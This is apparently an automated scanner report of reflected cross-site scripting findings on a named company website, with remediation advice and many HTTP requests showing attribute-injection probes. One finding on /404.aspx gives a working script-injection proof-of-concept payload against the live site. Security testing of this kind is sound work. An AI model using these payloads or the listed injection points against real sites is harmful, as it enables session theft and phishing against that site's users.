Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e99f8'a%3d'b'cdb393f1b5 was submitted in the REST URL parameter 1. This input was echoed as e99f8'a='b'cdb393f1b5 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /e99f8'a%3d'b'cdb393f1b5?aspxerrorpath=/Common/js/googlemap.js HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Terremark Worl ...[SNIP]... <a target='_Blank' href='http://digg.com/submit?url=http://www.terremark.com/404.aspx?aspxerrorpath=/e99f8'a='b'cdb393f1b5/'> ...[SNIP]...
1.2. http://www.terremark.com/404.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.terremark.com
Path:
/404.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 90999'><script>alert(1)</script>5e761a7df2b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /404.aspx?aspxerrorpath=/Common/js/googlemap.js&90999'><script>alert(1)</script>5e761a7df2b=1 HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57281'a%3d'b'45649bb3233 was submitted in the REST URL parameter 1. This input was echoed as 57281'a='b'45649bb3233 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /Common57281'a%3d'b'45649bb3233/js/googlemap.js HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f592d'a%3d'b'e8c0eb62f42 was submitted in the REST URL parameter 2. This input was echoed as f592d'a='b'e8c0eb62f42 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /Common/jsf592d'a%3d'b'e8c0eb62f42/googlemap.js HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4a14b'a%3d'b'e22f7c18496 was submitted in the REST URL parameter 3. This input was echoed as 4a14b'a='b'e22f7c18496 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /Common/js/googlemap.js4a14b'a%3d'b'e22f7c18496 HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 79c1d'a%3d'b'692dfc8225e was submitted in the REST URL parameter 1. This input was echoed as 79c1d'a='b'692dfc8225e in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /contactus.aspx79c1d'a%3d'b'692dfc8225e HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload eb138'a%3d'b'0abe52c67f2 was submitted in the REST URL parameter 1. This input was echoed as eb138'a='b'0abe52c67f2 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /flasheb138'a%3d'b'0abe52c67f2/customers_logos_list.swf?myLangType=1033 HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d80dc'a%3d'b'2d268a3c0c1 was submitted in the REST URL parameter 2. This input was echoed as d80dc'a='b'2d268a3c0c1 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /flash/customers_logos_list.swfd80dc'a%3d'b'2d268a3c0c1?myLangType=1033 HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 99a0d'a%3d'b'46c7f332267 was submitted in the REST URL parameter 1. This input was echoed as 99a0d'a='b'46c7f332267 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /flash99a0d'a%3d'b'46c7f332267/terremark.swf?MyLangType=1033 HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b28d7'a%3d'b'ed45efa5d7d was submitted in the REST URL parameter 2. This input was echoed as b28d7'a='b'ed45efa5d7d in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /flash/terremark.swfb28d7'a%3d'b'ed45efa5d7d?MyLangType=1033 HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/default.aspx Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57044'a%3d'b'646a72e282f was submitted in the REST URL parameter 1. This input was echoed as 57044'a='b'646a72e282f in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /uploadedImages57044'a%3d'b'646a72e282f/Generic/icons/favicon.ico HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4c3ad'a%3d'b'16662b9307c was submitted in the REST URL parameter 2. This input was echoed as 4c3ad'a='b'16662b9307c in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /uploadedImages/Generic4c3ad'a%3d'b'16662b9307c/icons/favicon.ico HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 349b3'a%3d'b'3f4cb602fa0 was submitted in the REST URL parameter 3. This input was echoed as 349b3'a='b'3f4cb602fa0 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /uploadedImages/Generic/icons349b3'a%3d'b'3f4cb602fa0/favicon.ico HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 70c05'a%3d'b'c81510240ea was submitted in the REST URL parameter 4. This input was echoed as 70c05'a='b'c81510240ea in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /uploadedImages/Generic/icons/favicon.ico70c05'a%3d'b'c81510240ea HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c430f'a%3d'b'50501c2c53e was submitted in the REST URL parameter 1. This input was echoed as c430f'a='b'50501c2c53e in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /xmlc430f'a%3d'b'50501c2c53e/content_english.xml HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/flash/terremark.swf?MyLangType=1033 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dfb51'a%3d'b'040f0ddfc7a was submitted in the REST URL parameter 2. This input was echoed as dfb51'a='b'040f0ddfc7a in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /xml/content_english.xmldfb51'a%3d'b'040f0ddfc7a HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/flash/terremark.swf?MyLangType=1033 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 75728'a%3d'b'd8e77ddd233 was submitted in the REST URL parameter 1. This input was echoed as 75728'a='b'd8e77ddd233 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /xml75728'a%3d'b'd8e77ddd233/customersLogosList_english.xml HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/flash/customers_logos_list.swf?myLangType=1033 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload aea77'a%3d'b'a4840f2944a was submitted in the REST URL parameter 2. This input was echoed as aea77'a='b'a4840f2944a in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /xml/customersLogosList_english.xmlaea77'a%3d'b'a4840f2944a HTTP/1.1 Host: www.terremark.com Proxy-Connection: keep-alive Referer: http://www.terremark.com/flash/customers_logos_list.swf?myLangType=1033 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&ContType=&UserCulture=1033&SiteLanguage=1033; ASP.NET_SessionId=igf2qijo3d4fwinasbhuf2u0; __utmz=1.1302790984.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.818045796.1302790984.1302790984.1302790984.1; __utmc=1; __utmb=1.1.10.1302790984
The page contains a form which POSTs data to the domain now.eloqua.com. The form contains the following fields:
elqFormName
elqSiteID
location
retURL
first_name
email
Industry
Industry
Industry
Industry
Industry
Industry
Industry
Industry
Industry
last_name
phone
00N50000001ZllX3
00N50000001ZllX3
00N50000001ZllX3
00N50000001ZllX3
00N50000001ZllX3
00N50000001ZllX3
00N50000001ZllX3
00N50000001ZllX3
company
JobRole
JobRole
JobRole
JobRole
JobRole
JobRole
JobRole
Timeframe
Timeframe
Timeframe
submit
Issue background
